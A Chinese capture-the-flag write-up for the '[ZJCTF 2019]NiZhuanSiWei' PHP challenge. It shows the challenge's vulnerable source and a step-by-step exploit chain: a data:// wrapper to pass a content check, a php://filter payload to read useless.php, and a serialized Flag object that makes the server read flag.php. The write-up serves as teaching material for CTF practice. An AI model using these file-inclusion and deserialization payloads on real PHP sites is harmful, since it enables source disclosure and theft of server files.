当前位置:网站首页>[ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei
2022-08-08 18:47:00 【努力做大佬m0_68074153】
1.代码审计
题目直接给出代码。
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
三个参数,text要我们传入welcome to the zjctf的字符,file让我们传入一个文件名包含且flag被过滤了,password让我们传入一个序列化的参数然后反序化后输出,盲猜应该是序列化后的flag.php。
2.php伪协议
出现了传文件出现了文件包含,首先考虑的就是可不可以使用php伪协议。
首先使用data伪协议写入文件welcome to the zjctf。
data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
这里对字符进行了base64加密。
成功绕过第一个限制。
根据源码的提示,应该是让我们包含useless.php这个文件,通过php伪协议读取源码。
php://filter/read=convert.base64-encode/resource=useless.php
得到源码
对源码进行base64解密得到源码。
<?php
class Flag{
//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
这个应该就是对flag.php进行序列化的类,new一个类进行序列化输出。
拿到序列化后的flag.php。
现在得到了我们最终的payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
getflag!
边栏推荐
猜你喜欢
The origin and creation of Smobiler's complex controls
Rethinking HTAP database caused by rereading GPDB and TiDB papers
数组!!!
Open Office XML 格式中的 Style 设计原理
Azure Neural TTS continues to be updated to help enterprises develop small language markets
疫情期间闲来无事,我自制了一个按钮展示框特效来展示我的博客
小白转行做3D游戏建模,有没有前途?
PX4-做飞控二次开发需要知道的事情-Cxm
BP neural network
数字化工厂建设的内容主要有哪三个方面
随机推荐
生成验证码工具类
oracle视图v$active_session_history,dba_hist_active_session_history如何记录IP地址
Michael Bronstein 系列长文:迈向几何深度学习(之三)——第一个几何神经网络模型
Geometric g6 will carry harmonyos system, a comprehensive upgrade competitiveness of products
如何在Firewalld中为特定IP地址开放端口
odoo 登录布局调整
请问在MAXCOMPUTE SQL 里有没有函数判断string 是否为数字?
C language elementary - structure
Transsion Holdings: At present, there is no clear plan for the company's mobile phone products to enter the Chinese market
Research on ORACLE subqueries that lead to inability to push predicates
ptorch
view, index
Shell正则表达式
Azure Neural TTS 持续上新,助力企业开拓小语种市场
PX4-做飞控二次开发需要知道的事情-Cxm
BP神经网络
小白转行做3D游戏建模,有没有前途?
能力一般,却可以大厂随便横跳?强在哪里?
The history of cartoon rendering
Redis之SDS数据结构